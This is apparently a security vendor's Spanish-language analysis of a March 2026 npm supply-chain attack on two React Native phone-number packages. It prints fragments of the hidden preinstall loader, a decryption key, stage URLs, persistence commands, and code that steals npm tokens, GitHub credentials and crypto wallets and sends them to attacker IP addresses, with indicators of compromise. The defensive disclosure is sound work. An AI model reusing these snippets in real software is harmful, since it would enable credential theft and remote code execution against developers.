Aikido

Glassworm ataca paquetes populares de React Native para números de teléfono

Escrito por
Raphael Silva

Las versiones del 16 de marzo de 2026 añadieron malware preinstalado ofuscado a paquetes del mismo editor

El 16 de marzo de 2026, dos paquetes npm de React Native de AstrOOnauta fueron comprometidos con una puerta trasera en un ataque coordinado a la cadena de suministro. Ambas versiones añadieron un cargador idéntico en tiempo de instalación que descarga y ejecuta un ladrón de credenciales y criptomonedas de Windows de múltiples etapas, activado por nada más que una rutina npm install. Los paquetes afectados son react-native-country-select@0.3.91 y react-native-international-phone-number@0.11.8.

En ambos casos, el código malicioso se introduce a través de un nuevo preinstall hook que se ejecuta antes de que se complete una instalación normal de npm, lo que significa que los desarrolladores, los ejecutores de CI y los agentes de compilación pueden activar el malware simplemente instalando el paquete.

Siguiendo la misma cadena que utiliza el malware, recuperamos el artefacto de la segunda etapa en vivo y desciframos la carga útil posterior. Esa carga útil más profunda es un ladrón de criptomonedas y credenciales centrado en Windows con persistencia y la capacidad de entregar componentes adicionales.

El 16 de marzo de 2026, la API de descargas de npm informó de 9.072 descargas en la última semana para react-native-country-select y 20.691 para react-native-international-phone-number, lo que suma un total de 29.763 descargas semanales. Durante el último mes, la misma API informó de 42.589 y 92.298 descargas, respectivamente, para un total combinado de 134.887 descargas mensuales.

Qué Sucedió

Las versiones adyacentes anteriores que comprobamos, react-native-country-select@0.3.9 y react-native-international-phone-number@0.11.7, no incluyen un preinstall hook y no distribuyen el instalador malicioso. Las versiones del 16 de marzo de 2026 añaden ambos.

La cronología:

  • react-native-international-phone-number@0.11.8 fue publicado el 16 de marzo de 2026, a las 10:49:29 UTC.  
  • react-native-country-select@0.3.91 se publicó el 16 de marzo de 2026, a las 10:54:18 UTC.  
  • Las versiones adyacentes anteriores para ambos paquetes se publicaron el 13 de marzo de 2026.

Ese patrón sugiere una ventana de compromiso en el mismo día que afecta a múltiples paquetes del mismo editor.

¿Cómo funcionaba el malware?

Paso 1: Ejecución en tiempo de instalación

Ambas versiones maliciosas añaden el mismo hook del ciclo de vida del paquete:

"scripts": {
    "preinstall": "node install.js"
}

El install.js el archivo está ofuscado, se conecta a infraestructura externa, obtiene una carga útil de segunda etapa y la ejecuta dinámicamente.

El instalador original distribuido muestra directamente la obtención de RPC de Solana:

let y = await fetch(S, {
    'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
    'headers': M,
    'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
        'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
        'id': 0x1,
        'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
        'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
    })
});

Más tarde, en el mismo archivo original, el instalador ejecuta la carga útil obtenida:

if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
    eval(atob(u));
    return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
    let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
    eval(atob(u));
}

Esto es ejecución de código por etapas durante la instalación del paquete.

Paso 2: Verificación de la configuración regional rusa

El instalador no se ejecuta a ciegas en todas partes. Incluye un filtro de entorno explícito para señales de idioma y zona horaria rusos antes de proceder. En el código original distribuido, comprueba valores como ru_RU, ru-RU, Russian, y russian:

let n = [
  h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
  process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
  process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
  process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
  Intl[
    B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
  ]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
  u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);

El mismo bloque también comprueba nombres de zonas horarias y desfases UTC asociados a Rusia. Ese tipo de exclusión geográfica o lingüística es común en el malware criminal, especialmente en aquellos procedentes de Rusia o de actores de amenazas de habla rusa.

Paso 3: Recuperación de memo de Solana y entrega de la segunda etapa

Seguimos los mismos pasos que el malware:

  1. Extraer la cuenta de Solana del instalador ofuscado.  
  2. Consultar el mismo getSignaturesForAddress método RPC que utiliza el paquete.  
  3. Recuperar el memo de transacción que contiene un elemento codificado en base64 enlace.  
  4. Obtener esa URL como contenido inerte y preservar las cabeceras de respuesta HTTP.  
  5. Decodificar el cuerpo devuelto e inspeccionar la siguiente capa de forma estática.  
  6. Utilice los valores devueltos secretkey y ivbase64 para descifrar la carga útil incrustada sin ejecutarla.

La respuesta de la segunda etapa obtenida proporcionó exactamente el material necesario para descifrar la siguiente capa:

secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==

La URL de la segunda etapa recuperada fue:

http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3D

Y el cuerpo de la segunda etapa obtenido comienza como otro script descifrador original:

var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...

Paso 4: La tercera etapa recuperada persiste y extrae más componentes

La carga útil descifrada con AES es la tercera etapa recuperada. Aquí es donde la cadena se convierte en un stealer y downloader centrado en Windows.

Establece la persistencia a través de schtasks y la Ejecuta clave de registro:

schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force

También escribe un ~\\init.json archivo de estado y lo reutiliza como un mecanismo de persistencia y protección de ejecución:

const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
    init: true,
    update: null,
    date: new Date().getTime(),
    version: '2.27',
    uuid: data?.uuid ? data.uuid : makeid(14)
}));

Paso 5: La tercera etapa utiliza Google Calendar como una capa de indirección adicional

La URL de Google Calendar aparece más tarde, dentro del JavaScript recuperado de la tercera etapa, donde esa tercera etapa utiliza calendar.app.google para recuperar un slug codificado en base64 antes de solicitar otro script de 45[.]32[.]150[.]251.

Este es el código original:

QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {

Así, en orden, la cadena es:

  1. npm preinstall ejecuta install.js  
  2. install.js consulta el RPC de Solana y obtiene la segunda etapa  
  3. La segunda etapa descifra y ejecuta la tercera etapa  
  4. La tercera etapa se conecta a Google Calendar  
  5. La tercera etapa utiliza el slug recuperado para obtener contenido adicional de 45[.]32[.]150[.]251

Esa indirección es importante porque proporciona a los operadores un punto de control flexible más adelante en la cadena. Pueden cambiar la ruta descendente sin volver a publicar el paquete npm, y el uso de una URL propiedad de Google puede ayudar a que la cadena se mezcle con el tráfico normal.

Esto también es interesante en un contexto de investigación más amplio. El año pasado, publicamos un artículo sobre la entrega de malware a través de invitaciones de Google Calendar y PUAs; consúltelo aquí para obtener más información al respecto: ¡Estás invitado! Entrega de malware a través de invitaciones de Google Calendar y PUAs.

Evidencia

La evidencia más sólida es que el cargador introducido en ambos paquetes es idéntico byte a byte. El install.js archivo en ambas versiones maliciosas tiene SHA-256:

59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Las diferencias de versión también son inusualmente limpias. Para ambos paquetes, el comportamiento malicioso se introduce por los mismos dos cambios:

  • una nueva install.js  
  • una nueva preinstall entrada en package.json

Para react-native-country-select, el salto malicioso es de 0.3.9 con 0.3.91.

Para react-native-international-phone-number, el salto malicioso es de 0.11.7 con 0.11.8.

Un detalle hace que el caso sea aún más interesante: react-native-international-phone-number@0.11.8 depende de react-native-country-select@0.3.9, que parece ser la versión adyacente limpia anterior, no la maliciosa 0.3.91. Eso sugiere que el segundo paquete también fue directamente backdoored en lugar de simplemente heredar el problema de una actualización de dependencia.

Lo que hace la carga útil recuperada

La tercera etapa recuperada es un stealer y descargador centrado en Windows.

Algo que subestimamos en el primer borrador es que la carga útil no solo roba unos pocos archivos de monedero y se detiene ahí. También construye su propio entorno de ejecución, recorre rutas de almacenamiento relacionadas con el navegador y prepara datos para su recopilación bajo el perfil de la víctima.

Luego descarga componentes adicionales, descifra los archivos empaquetados .node archivos, los ejecuta y exfiltra la colección preparada:

http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = {  hostname: "217.69.3.152",  port: 80,  path: "/wall",  method: "POST",

La misma carga útil contiene lógica de ataque a monederos para extensiones de navegador y monederos de escritorio, incluyendo MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet y Trust Wallet. También roba credenciales de npm y GitHub:

const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", {  input: "protocol=https\nhost=github.com\n\n",  encoding: "utf8"});

Llegados a este punto, la carga útil recuperada es una cadena completa de robo de credenciales y monederos.

Conclusiones adicionales

La tercera etapa recuperada también descarga un entorno de ejecución completo de Node.js desde nodejs.org, tanto x86 como x64, en %APPDATA%\\_node_x86 y %APPDATA%\\_node_x64. Esto proporciona al malware un entorno de ejecución fiable incluso si Node.js no está ya presente en el sistema de la víctima:

const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");

La misma carga útil también recorre el almacenamiento de perfiles relacionado con el navegador. En el JavaScript recuperado, busca "User Data" y "Firefox" directorios y luego copia el almacenamiento de monederos y extensiones objetivo de esas ubicaciones después de terminar los procesos del navegador:

var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
    t.push(filePath);
}

Esto es consistente con el robo de perfiles de navegador de la familia Chromium y rutas relacionadas con Firefox. Podemos verificar directamente el ataque a extensiones de monedero desde el script recuperado porque contiene identificadores de extensión para MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet y muchos otros, además de rutas de almacenamiento de monederos de escritorio como exodus.wallet, wallets, y Local Storage\\leveldb.

Conclusión

Este caso parece un evento coordinado de la cadena de suministro de npm que afecta al menos a dos paquetes de React Native del mismo editor en el mismo día. El detalle más importante no es solo que ambas versiones son maliciosas, sino que fueron modificadas de la misma manera, con minutos de diferencia, con el mismo cargador preparado.

Seguir la cadena preparada hace que el impacto sea mucho más claro. El instalador no se limita a enviar balizas o probar el entorno. Conduce a una carga útil de Windows descifrada que persiste, descarga más componentes, roba datos de monederos, roba credenciales de npm y GitHub, y exfiltra archivos recopilados a infraestructura controlada por el atacante.

Indicadores de Compromiso

Paquetes maliciosos:

  • react-native-country-select@0.3.91  
  • react-native-international-phone-number@0.11.8

Hash de cargador compartido:

  • 59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Dominios relacionados:

  • socket[.]network  
  • n[.]xyz  
  • p[.]link  
  • 45[.]32[.]150[.]251  
  • 217[.]69[.]3[.]152  
  • calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6

Detección y Protección

Si ya utiliza Aikido, estos paquetes serían marcados en su feed como un hallazgo crítico de 100/100.

¿Todavía no está en Aikido? Cree una cuenta gratuita y vincule sus repositorios. El plan gratuito incluye nuestra cobertura de detección de malware (no se requiere tarjeta de crédito).

Finalmente, una herramienta que puede detener el malware de la cadena de suministro en tiempo real a medida que aparece puede prevenir una infección grave. Esta es la idea detrás de Aikido Safe Chain, una herramienta gratuita y de código abierto que se integra con npm, npx, yarn, pnpm y pnpx y utiliza tanto IA como investigadores de malware humanos para detectar y bloquear los últimos riesgos de la cadena de suministro antes de que entren en su entorno.

Compartir:

https://www.aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers

Suscríbase para recibir noticias sobre amenazas.

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.